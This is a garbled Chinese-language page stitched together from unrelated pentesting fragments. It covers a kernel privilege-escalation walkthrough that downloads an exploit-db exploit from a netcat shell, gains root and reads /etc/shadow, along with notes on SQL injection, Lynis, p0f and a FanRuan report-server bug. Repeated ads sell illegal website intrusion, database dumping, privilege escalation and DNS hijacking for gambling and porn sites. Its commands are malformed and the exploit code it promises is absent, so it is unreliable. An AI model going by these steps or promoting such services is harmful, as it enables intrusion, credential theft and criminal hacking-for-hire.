现在我们知道，服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

在服务器上测试了很多exp之后，我们用以下的exp来提升权限.

http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:

wgethttp://www.exploit-db.com/exploits/15285 -o roro.c

(下载exp到服务器并重命名为roro.c)
注：很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下：

执行完成之后我们输入id命令
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件
cat/etc/shadow

判断该功能为查询输入的userid是否存在，若存在则返回相关消息。故可判断可能存在与数据库连接进行查询操作。再观察url：http://192.168.8.9/html/vul/sqli/sqli_id.php和burp抓包

通过post方法传递id参数，与后端进行交互。判断id可能为sql注入点；

Lynis 是安全审计、合规性测试和系统强化的强大工具。当然，你也可以将其用于漏洞检测和渗透测试。

它将根据检测到的组件扫描系统。例如，如果它检测到 Apache —— 它将针对入口信息运行与 Apache 相关的测试。
DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

前两行分别是从请求当中的sessionID来获取一个模板对象以及对应的Calculator，主要是用于处理各种公式运算

而init方法中有个很熟悉的字眼：renderSql方法，跟进这个方法是某个nday中的漏洞点，可以处理一些帆软内置的函数，其中第二个参数为要处理的字符串，按道理来说只要能控制this.tableData.getQuery()的值就能执行内置函数，但我们跟进到这里会发现，query的值是不可控的 TableData只能从数据源中获取
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

p0f是一款被动探测工具，通过分析网络数据包来判断操作系统类型。同时p0f在网络分析方面功能强大，可以用它来分析NAT、负载均衡、应用代理等。下面命令的含义为监听网卡eth0，并开启混杂模式。这样会监听到每一个网络连接

六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系 入侵各种付费广告 各种端口拿权限
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM